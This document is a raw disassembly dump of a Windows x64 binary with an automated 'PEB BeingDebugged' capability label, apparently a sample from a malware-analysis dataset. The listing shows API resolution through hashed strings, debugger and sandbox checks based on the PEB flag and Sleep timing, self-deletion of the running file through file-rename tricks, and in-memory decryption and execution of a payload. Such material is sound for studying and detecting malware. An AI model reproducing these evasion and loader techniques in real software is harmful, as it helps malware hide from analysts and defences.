Function at 0x408f30
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x298
lea rcx, [0x0042a7a0]
mov edx, 0x428
call fcn.00411f60
mov edx, 0x4b978762
lea rcx, [0x0041d860]
mov rbx, rax
lea rax, [0x0042a760]
mov qword [rbx], rax
call fcn.00411ed0
mov edx, 0x3795d8c6
mov rcx, rax
call fcn.00412120
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [0x0042a758]
mov r8d, 0x1000
mov edx, 8
mov rcx, rax
call qword [0x0042a750]
mov edx, 0x618a1f46
mov dword [rsp + 0x40], 0
lea rbp, [rax + 0x17]
mov rsi, rax
mov qword [0x0042a748], rax
lea rdi, [rax + 0x2e]
mov qword [0x0042a740], rbp
lea rcx, [0x0041d820]
mov qword [0x0042a738], rdi
call fcn.00411ed0
mov edx, 0x46e43fa2
mov rcx, rax
call fcn.00412120
lea rcx, section..rdata
test rax, rax
je 0x40893d
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
mov rdx, rsi
call fcn.00403460
mov edx, 0x526f3b22
lea rcx, [0x0041d7e0]
call fcn.00411ed0
mov edx, 0x3b502c06
mov rcx, rax
call fcn.00412120
lea rcx, section..rdata
test rax, rax
je 0x40897b
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
mov rdx, rbp
call fcn.00403460
mov edx, 0x671a1686
lea rcx, [0x0041d7a0]
call fcn.00411ed0
mov edx, 0x65354d62
mov rcx, rax
call fcn.00412120
lea rcx, section..rdata
test rax, rax
je 0x4089b9
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
mov rdx, rdi
call fcn.00403460
lea rdi, [rsi + 0xa1]
mov edx, 0x541174e2
lea rcx, [0x0041d770]
mov qword [0x0042a730], rdi
call fcn.00411ed0
mov edx, 0x34e8d146
mov rcx, rax
call fcn.00412120
lea rcx, section..rdata
test rax, rax
je 0x408a05
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
mov rdx, rdi
call fcn.00403460
mov edx, 0x397affc6
lea rcx, [0x0041d740]
call fcn.00411ed0
mov edx, 0x10817122
lea rdi, [rsi + 0x142]
mov rcx, rax
call fcn.00412120
lea rdx, [rsi + 0x12b]
lea rcx, section..rdata
test rax, rax
je 0x408a51
cmp qword [rax], 0
lea r8, [rax + 0x10]
cmovne rcx, r8
call fcn.00403460
mov edx, 0x1dc51886
lea rcx, [0x0041d700]
call fcn.00412120
lea rcx, section..rdata
test rax, rax
je 0x408a7f
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
mov rdx, rdi
call fcn.00403460
lea r9, [rsp + 0x40]
mov edx, 0x17
mov rcx, rsi
mov r8d, 0x20
call qword [0x0042a728]
pxor xmm0, xmm0
mov qword [rbx + 0x30], 0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.GetModuleHandleA
mov rcx, rax
call fcn.004030f0
lea rcx, [0x0041d6e0]
mov qword [rbx + 0x10], rax
call fcn.004128f0
mov rcx, rax
call fcn.00402a60
lea rdx, str.GetModuleInformation
mov rcx, rax
call fcn.004030f0
mov qword [rbx + 0x18], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.CreateFileMappingA
mov rcx, rax
call fcn.004030f0
mov qword [rbx + 0x20], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.MapViewOfFile
mov rcx, rax
call fcn.004030f0
mov qword [rbx + 0x28], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.FreeLibrary
mov rcx, rax
call fcn.004030f0
mov rcx, rbx
mov qword [rbx + 0x30], rax
call fcn.004083a0
mov edx, 0x41c9bde2
lea rcx, [0x0041d620]
call fcn.00412120
mov edx, 0x7295eac6
lea rcx, [0x0041d520]
call fcn.00412120
mov r8d, 0x3c8
xor edx, edx
lea rcx, [rbx + 0x60]
call sub.msvcrt.dll_memset
mov edx, 0x280095a2
mov qword [rbx + 0x40], 0
lea rcx, [0x0041d480]
mov qword [rbx + 0x48], 0
mov qword [rbx + 0x50], 0
mov qword [rbx + 0x58], 0
call fcn.00412120
mov edx, 0x1aeb8e06
lea rcx, [0x0041d380]
call fcn.00412120
mov edx, 0x66d09362
lea rcx, [0x0041d320]
call fcn.00412120
mov edx, 0x3c580346
lea rcx, [0x0041d2c0]
call fcn.00412120
mov edx, 0x448d2722
lea rcx, [0x0041d2a0]
call fcn.00412120
test rax, rax
je 0x408f10
mov rdx, qword [rax]
lea rcx, section..rdata
add rax, 0x10
test rdx, rdx
cmovne rcx, rax
call fcn.00413a40
xor ebp, ebp
lea rcx, [rbx + 0x38]
mov rdx, rax
call fcn.00412cb0
lea rsi, [rsp + 0x80]
mov r8d, 0x20a
xor edx, edx
mov rcx, rsi
mov rdi, rsi
call sub.msvcrt.dll_memset
mov ecx, 0x20a
mov eax, ebp
rep stosb byte [rdi], al
xor ecx, ecx
mov r8d, 0x104
mov rdx, rsi
call qword [0x0042a720]
test eax, eax
je 0x408f1e
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x10000
mov dword [rsp + 0x20], 3
call qword [0x0042a718]
cmp rax, 0xffffffffffffffff
mov r13, rax
je 0x408f1e
lea r12, [rsp + 0x60]
mov ecx, 0x18
mov eax, ebp
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov rdi, r12
mov qword [rsp + 0x70], 0
rep stosb byte [rdi], al
mov rax, qword [rbx + 0x38]
mov r9d, 0x20
mov r8, r12
mov rcx, r13
mov dword [rsp + 0x70], 8
mov edx, 3
mov rax, qword [rax]
mov qword [rsp + 0x74], rax
call qword [0x0042a6f8]
test eax, eax
je 0x408f1e
mov rcx, r13
call qword [0x0042a710]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000
mov qword [rsp + 0x30], 0
mov rcx, rsi
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [0x0042a718]
cmp rax, 0xffffffffffffffff
mov r13, rax
je 0x408f1e
mov byte [r12], 0
mov rdi, r12
mov ecx, 1
mov eax, ebp
rep stosb byte [rdi], al
mov edx, 4
mov byte [rsp + 0x60], 1
mov r8, r12
mov rcx, r13
mov r9d, 1
call qword [0x0042a6f8]
test eax, eax
je 0x408f1e
mov rcx, r13
call qword [0x0042a710]
mov rcx, rsi
call qword [0x0042a708]
mov edx, 0xc349a86
lea rcx, [0x0041d220]
call fcn.00412120
mov edx, 0x28314a06
xor ecx, ecx
call fcn.00411ed0
mov rcx, rax
call fcn.00416880
mov ecx, 0x5dc
call qword [0x0042a700]
mov rcx, rbx
call fcn.00405d30
mov edx, 0x5cf7b546
lea rcx, [0x0041d160]
call fcn.00412120
mov edx, 0x1ff25d22
lea rcx, [0x0041d080]
call fcn.00412120
mov edx, 0x6c889c86
lea rcx, [0x0041cfa0]
call fcn.00412120
mov rsi, qword [0x00423360]
xor eax, eax
test rsi, rsi
je 0x408e18
mov rax, qword [rsi]
lea rdi, [rsp + 0x50]
xor r8d, r8d
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0x48], 0
lea rdx, [rsp + 0x48]
mov r9, rdi
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x44], 4
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
call qword [0x0042a738]
lea rax, [rsp + 0x58]
mov rdx, qword [rsp + 0x48]
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x50]
lea r8, [rsi + 0x10]
mov qword [rsp + 0x58], 0
lea r9, [rax - 1]
call qword [0x0042a740]
mov rax, qword [rsp + 0x48]
mov rcx, rbx
mov qword [0x0042a6f0], rax
mov qword [0x0042a6e8], rax
call fcn.004040e0
mov rax, qword [rsp + 0x48]
mov r8, rdi
mov rdx, r12
mov r9d, 0x20
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x20], rax
call qword [0x0042a748]
test eax, eax
jne 0x408f1e
call qword [rsp + 0x48]
mov edx, 0xffffffff
mov rcx, 0xffffffffffffffff
call qword [0x0042a6e0]
xor eax, eax
add rsp, 0x298
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea rcx, section..rdata
xor edx, edx
jmp 0x408c29
mov ecx, 1
call sub.msvcrt.dll_exit
nop
nop dword [rax]
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x004383e0]
cmp rax, 0xdab
jg 0x409cfb
mov rcx, qword [0x00420300]
lea rdx, [0x00431680]
mov qword [rdx + rax*8], rcx
lea rcx, [rax + 1]
cmp rcx, 0xdac
mov qword [0x004383e0], rcx
je 0x409cfb
mov r8, qword [0x00420310]
mov qword [rdx + rcx*8], r8
lea rcx, [rax + 2]
cmp rcx, 0xdac
mov qword [0x004383e0], rcx
je 0x409cfb
mov r8, qword [0x00420320]
mov qword [rdx + rcx*8], r8
lea rcx, [rax + 3]
cmp rcx, 0xdac
mov qword [0x004383e0], rcx
je 0x409cfb
mov r8, qword [0x00420330]
mov qword [rdx + rcx*8], r8
lea rcx, [rax + 4]
cmp rcx, 0xdac
mov qword [0x004383e0], rcx
je 0x409cfb
mov r8, qword [0x00420340]
mov qword [rdx + rcx*8], r8
lea rcx, [rax + 5]
cmp rcx, 0xdac
mov qword [0x004383e0], rcx
je 0x409cfb
mov r8, qword [0x00420350]
mov qword [rdx + rcx*8], r8
lea rcx, [rax + 6]
cmp rcx, 0xdac
mov qword [0x004383e0], rcx
je 0x409cfb
mov r8, qword [0x00420360]
mov qword [rdx + rcx*8], r8
lea rcx, [rax + 7]
cmp rcx, 0xdac
mov qword [0x004383e0], rcx
je 0x409cfb
mov r8, qword [0x00420370]
mov qword [rdx + rcx*8], r8
lea rcx, [rax + 8]
cmp rcx, 0xdac
mov qword [0x004383e0], rcx
je 0x409cfb
mov r8, qword [0x00420380]
mov qword [rdx + rcx*8], r8
lea rcx, [rax + 9]
cmp rcx, 0xdac
mov qword [0x004383e0], rcx
je 0x409cfb
mov r8, qword [0x004203e0]
mov qword [rdx + rcx*8], r8
lea rcx, [rax + 0xa]
cmp rcx, 0xdac
mov qword [0x004383e0], rcx
je 0x409cfb
lea rdi, [0x00405ac0]
mov qword [rdx + rcx*8], rdi
lea rcx, [rax + 0xb]
cmp rcx, 0xdac
mov qword [0x004383e0], rcx
je 0x409cfb
lea rbx, [0x00405aa0]
add rax, 0xc
mov qword [rsp + 0x38], 0
mov qword [rdx + rcx*8], rbx
lea rcx, [0x00426220]
mov qword [0x004383e0], rax
lea rbx, [rsp + 0x40]
call qword [0x00429f78]
mov rcx, rbx
mov qword [rsp + 0x40], 0
movsxd rdx, eax
call fcn.00413c70
mov rax, qword [rsp + 0x40]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x38], rax
call fcn.00407860
mov eax, dword [0x00426224]
cmp eax, 6
je 0x409790
cmp eax, 5
jg 0x40914c
mov dword [0x0042a7e0], 1
lea rcx, [0x0041cca0]
mov edx, 0x268ad9e2
call fcn.00411ed0
mov edx, 0x41bed822
mov rcx, rax
call fcn.00412120
lea rcx, [0x00423088]
mov rdx, rax
call fcn.00412cb0
mov rsi, qword [0x00423080]
mov rcx, qword [0x00423088]
call fcn.00410490
test rsi, rsi
mov qword [0x00423080], rax
je 0x4091b2
mov rax, qword [rsi - 0x10]
lea rdx, [rsi - 0x10]
sub rax, 8
cmp rax, 7
mov qword [rsi - 0x10], rax
jbe 0x4097c0
lea rcx, [0x0042a6a0]
mov edx, 0x4e1
call fcn.00415830
mov r8d, 0x4e1
lea rcx, [rax + 0x10]
mov rsi, rax
lea rdx, [0x0041c7b0]
call sub.msvcrt.dll_memcpy
lea rcx, [0x00423360]
mov rdx, rsi
call fcn.00412cb0
mov rax, qword [0x00423360]
xor edx, edx
test rax, rax
je 0x4091fc
mov rdx, qword [rax]
lea rcx, [0x0042a6a0]
call fcn.00415830
lea rcx, [0x00423078]
mov rdx, rax
call fcn.00412cb0
mov edx, 0x79b0e86
lea rcx, [0x0041c6e0]
call fcn.00411ed0
mov edx, 0x6d876f62
mov rcx, rax
call fcn.00412120
lea rcx, [0x00423070]
mov rdx, rax
call fcn.00412cb0
mov edx, 0x7490b7c6
lea rcx, [0x0041c600]
call fcn.00411ed0
mov edx, 0x62656322
mov rcx, rax
call fcn.00412120
lea rcx, [0x00423068]
mov rdx, rax
call fcn.00412cb0
mov edx, 0x45d14ca2
lea rcx, [0x0041c520]
call fcn.00411ed0
mov edx, 0x79b0e86
mov rcx, rax
call fcn.00412120
lea rcx, [0x00423060]
mov rdx, rax
call fcn.00412cb0
mov edx, 0x6a1a262
lea rcx, [0x0041c460]
call fcn.00411ed0
mov edx, 0x7490b7c6
mov rcx, rax
call fcn.00412120
lea rcx, [0x00423058]
mov rdx, rax
call fcn.00412cb0
lea rcx, [0x0041c440]
call fcn.004128f0
xor edx, edx
mov rcx, rax
call fcn.00412340
lea rdx, str.LdrLoadDll
mov rcx, rax
call fcn.00402d80
lea rcx, [0x0041c440]
mov qword [0x00423368], rax
call fcn.004128f0
xor edx, edx
mov rcx, rax
call fcn.00412340
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call fcn.00402d80
mov edx, 0x6681e7a2
lea rcx, [0x0041c380]
mov qword [0x00423370], rax
call fcn.00411ed0
mov edx, 0x5f0ff86
mov rcx, rax
call fcn.00412120
lea rcx, [0x00423050]
mov rdx, rax
call fcn.00412cb0
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.GetCurrentProcessId
mov rcx, rax
call fcn.004030f0
mov qword [0x00426210], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.VirtualProtect
mov rcx, rax
call fcn.004030f0
mov qword [0x0042a728], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.OpenProcess
mov rcx, rax
call fcn.004030f0
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.GetProcessHeap
mov rcx, rax
call fcn.004030f0
mov qword [0x00426208], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.GetProcAddress
mov rcx, rax
call fcn.004030f0
lea rcx, [0x0041c440]
mov qword [0x00426200], rax
call fcn.004128f0
mov rcx, rax
call fcn.00402a60
lea rdx, str.RtlAddVectoredExceptionHandler
mov rcx, rax
call fcn.00402d80
mov qword [0x004261f8], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.GetModuleHandleA
mov rcx, rax
call fcn.004030f0
mov qword [0x004261f0], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.GetThreadContext
mov rcx, rax
call fcn.004030f0
mov qword [0x004261e8], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.SetThreadContext
mov rcx, rax
call fcn.004030f0
mov qword [0x004261e0], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.CloseHandle
mov rcx, rax
call fcn.004030f0
mov qword [0x0042a710], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.OpenThread
mov rcx, rax
call fcn.004030f0
mov qword [0x004261d8], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.GetCurrentThreadId
mov rcx, rax
call fcn.004030f0
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.WaitForSingleObject
mov rcx, rax
call fcn.004030f0
mov qword [0x0042a6e0], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.MultiByteToWideChar
mov rcx, rax
call fcn.004030f0
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.Sleep
mov rcx, rax
call fcn.004030f0
mov qword [0x0042a700], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.GetTickCount
mov rcx, rax
call fcn.004030f0
mov qword [0x004261d0], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.CreateFileA
mov rcx, rax
call fcn.004030f0
mov qword [0x004261c8], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.GetFileSize
mov rcx, rax
call fcn.004030f0
lea rcx, [0x0041c440]
mov qword [0x004261c0], rax
call fcn.004128f0
xor edx, edx
mov rcx, rax
call fcn.00412340
lea rdx, str.RtlAllocateHeap
mov rcx, rax
call fcn.00402d80
mov qword [0x004261b8], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.ReadFile
mov rcx, rax
call fcn.004030f0
mov edx, 0x4e345746
lea rcx, [0x0041da60]
mov qword [0x004261b0], rax
call fcn.00411ed0
mov edx, 0x3a8d11a2
mov rcx, rax
call fcn.00412120
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x409760
call qword [0x00426208]
mov rsi, rax
call qword [0x00426208]
cmp dword [rsi + 0x70], 2
jne 0x4097e0
mov eax, dword [rax + 0x74]
test eax, eax
jne 0x4097e0
call fcn.00412d10
test al, al
je 0x409702
lea rdx, [0x0040f3c0]
mov ecx, 1
call qword [0x004268f8]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x80000003
call qword [0x004268f0]
lea rcx, [0x0040f3c0]
call qword [0x004268e8]
lea rcx, [0x0041c350]
mov edx, 0x1fef4422
call fcn.00411ed0
xor ecx, ecx
mov rsi, rax
mov rax, qword [0x00423088]
test rax, rax
je 0x4096c0
mov rcx, qword [rax]
test rsi, rsi
je 0x409cd0
add rcx, qword [rsi]
call fcn.004120e0
mov rdx, qword [0x00423088]
mov rdi, rax
test rdx, rdx
je 0x4096e8
mov rcx, rax
call fcn.004079c0
mov rdx, rsi
mov rcx, rdi
call fcn.004079c0
lea rcx, [0x00423080]
mov rdx, rdi
call fcn.00412cb0
lea rcx, [0x0041c200]
mov edx, 0x33df25e2
call fcn.00411ed0
mov edx, 0x11768906
mov rcx, rax
call fcn.00412120
lea rcx, [0x00423048]
mov rdx, rax
call fcn.00412cb0
call qword [0x004261d0]
mov ecx, 0x5dc
mov esi, eax
call qword [0x0042a700]
call qword [0x004261d0]
sub eax, esi
cmp eax, 0x513
jg 0x4097f0
xor ecx, ecx
call sub.msvcrt.dll_exit
nop dword [rax]
lea rcx, [0x0041bde0]
mov edx, 0x1d7c2862
mov qword [rsp + 0x40], 0
call fcn.00411ed0
mov rcx, rbx
mov qword [rsp + 0x40], rax
call fcn.00407860
xor ecx, ecx
call sub.msvcrt.dll_exit
nop
mov eax, dword [0x00426228]
cmp eax, 2
je 0x409142
cmp eax, 3
je 0x409142
test eax, eax
je 0x409142
cmp eax, 1
je 0x409142
jmp 0x40914c
lea rcx, [0x00423588]
call fcn.00412bf0
jmp 0x4091b2
mov ecx, 1
call sub.msvcrt.dll_exit
nop word [rax + rax]
lea rcx, [0x0041be00]
mov edx, 0xa48a2c6
call fcn.00411ed0
xor ecx, ecx
mov rsi, rax
mov rax, qword [0x00423080]
test rax, rax
je 0x409815
mov rcx, qword [rax]
test rsi, rsi
je 0x409cb0
add rcx, qword [rsi]
call fcn.004120e0
mov rdx, qword [0x00423080]
mov rdi, rax
test rdx, rdx
je 0x40983d
mov rcx, rax
call fcn.004079c0
mov rdx, rsi
mov rcx, rdi
call fcn.004079c0
lea rcx, [0x00423080]
mov rdx, rdi
call fcn.00412cb0
mov edx, 0x76583da2
lea rcx, [0x0041bea0]
call fcn.00411ed0
mov edx, 0x399b462
mov rcx, rax
call fcn.00412120
lea rcx, section..rdata
xor edx, edx
test rax, rax
je 0x409898
mov rdx, qword [rax]
lea rcx, section..rdata
add rax, 0x10
test rdx, rdx
cmovne rcx, rax
call fcn.00413a40
mov rcx, rax
call qword [0x00429f68]
mov edx, 0x1ed47b62
lea rcx, [0x0041be60]
call fcn.00411ed0
mov edx, 0x2ec5b022
mov rcx, rax
call fcn.00412120
mov edx, 0x6a7e3b46
lea rcx, [0x0041be20]
mov rsi, rax
call fcn.00411ed0
mov edx, 0x43344586
mov rcx, rax
call fcn.00412120
test rsi, rsi
mov rdi, rax
je 0x409ca0
mov rdx, qword [rsi]
lea rcx, section..rdata
add rsi, 0x10
test rdx, rdx
cmovne rcx, rsi
call fcn.00413a40
mov rcx, rax
call qword [0x00429f68]
cmp eax, 0xffffffff
je 0x409c70
xor edx, edx
mov ecx, 0x1000
movabs r8, 0xffffffff1
call qword [0x00429f60]
test rax, rax
jne 0x409bf0
lea rdi, [rsp + 0x20]
movabs rsi, 0x112e0be826d694b3
mov rcx, rdi
call fcn.0040fd30
mov rbp, qword [rsp + 0x20]
mov r12, qword [rsp + 0x28]
call fcn.00406c30
mov rcx, rdi
call fcn.0040fd30
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x48], 0
mov r8, qword [rsp + 0x20]
sub rcx, r12
sub r8, rbp
jmp 0x4099b5
call fcn.00406c30
mov rcx, rdi
call fcn.0040fd30
mov rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x20]
mov qword [rbx + 8], 0
sub rcx, r12
sub r8, rbp
mov rax, rcx
imul rsi
mov rax, rcx
sar rax, 0x3f
sar rdx, 0x1a
sub rdx, rax
add r8, rdx
imul rdx, rdx, 0x3b9aca00
sub rcx, rdx
shr rcx, 0x3f
sub r8, rcx
test r8, r8
js 0x409990
cmp r8, 0xc
jle 0x409990
lea rcx, [0x0041c120]
mov edx, 0x4b29a8e2
call fcn.00411ed0
mov edx, 0x472969a2
mov rcx, rax
call fcn.00412120
lea rcx, [0x004261a8]
mov rdx, rax
call fcn.00412cb0
mov edx, 0x47950446
lea rcx, [0x0041c100]
call fcn.00411ed0
mov edx, 0x618a1f46
mov rcx, rax
call fcn.00412120
lea rcx, section..rdata
test rax, rax
je 0x409a4b
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
call qword [0x004261f0]
mov edx, 0x7595ba22
lea rcx, [0x0041c0c0]
mov rbx, rax
call fcn.00411ed0
mov edx, 0x526f3b22
mov rcx, rax
call fcn.00412120
lea rdx, section..rdata
test rax, rax
je 0x409a8a
cmp qword [rax], 0
lea rcx, [rax + 0x10]
cmovne rdx, rcx
mov rcx, rbx
call qword [0x00426200]
mov qword [0x004261a0], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.LoadLibraryA
mov rcx, rax
call fcn.004030f0
mov edx, 0x1490786
lea rcx, [0x0041c0a0]
call fcn.00412120
mov rcx, rax
call fcn.004128f0
lea rcx, [0x00426190]
mov rdx, rax
call qword [0x00423370]
lea r9, [0x00426180]
xor edx, edx
xor ecx, ecx
lea r8, [0x00426190]
call qword [0x00423368]
mov edx, 0xbf6d7e2
lea rcx, [0x0041c080]
call fcn.00412120
lea rdx, section..rdata
test rax, rax
je 0x409b20
cmp qword [rax], 0
lea rcx, [rax + 0x10]
cmovne rdx, rcx
mov rcx, qword [0x00426180]
call qword [0x00426200]
mov qword [0x00426178], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.CreateFileW
mov rcx, rax
call fcn.004030f0
mov qword [0x0042a718], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.SetFileInformationByHandle
mov rcx, rax
call fcn.004030f0
mov qword [0x0042a6f8], rax
call fcn.004016a0
mov rcx, rax
call fcn.00402a60
lea rdx, str.GetModuleFileNameW
mov rcx, rax
call fcn.004030f0
mov qword [0x0042a720], rax
mov rax, qword [0x00426178]
mov qword [0x0042a708], rax
call fcn.00408870
call fcn.00408870
mov edx, 0x42a0a4a2
lea rcx, [0x0041bf20]
call fcn.00411ed0
mov edx, 0x2bd77062
mov rcx, rax
call fcn.00412120
lea rcx, [0x00426170]
mov rdx, rax
call fcn.00412cb0
nop
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea rcx, [0x0041bf00]
mov edx, 0x20919286
call fcn.00411ed0
mov edx, 0x589e46c6
mov rcx, rax
call fcn.00412120
lea rcx, [0x00423088]
mov rdx, rax
call fcn.00412cb0
mov rsi, qword [0x00423080]
mov rcx, qword [0x00423088]
call fcn.00410490
test rsi, rsi
mov qword [0x00423080], rax
je 0x40993d
mov rax, qword [rsi - 0x10]
lea rdx, [rsi - 0x10]
sub rax, 8
cmp rax, 7
mov qword [rsi - 0x10], rax
ja 0x40993d
lea rcx, [0x00423588]
call fcn.00412bf0
jmp 0x40993d
test rdi, rdi
je 0x409cf0
mov rdx, qword [rdi]
lea rcx, section..rdata
add rdi, 0x10
test rdx, rdx
cmovne rcx, rdi
call fcn.00413a40
mov rcx, rax
call qword [0x00429f68]
jmp 0x40991d
lea rcx, section..rdata
xor edx, edx
jmp 0x409906
call fcn.004120e0
mov rdx, qword [0x00423080]
mov rdi, rax
test rdx, rdx
jne 0x409840
jmp 0x409848
call fcn.004120e0
mov rdx, qword [0x00423088]
mov rdi, rax
test rdx, rdx
jne 0x4096eb
jmp 0x4096f3
lea rcx, section..rdata
xor edx, edx
jmp 0x409c8a
call fcn.00410000
nop
nop dword [rax + rax]
nop word cs:[rax + rax]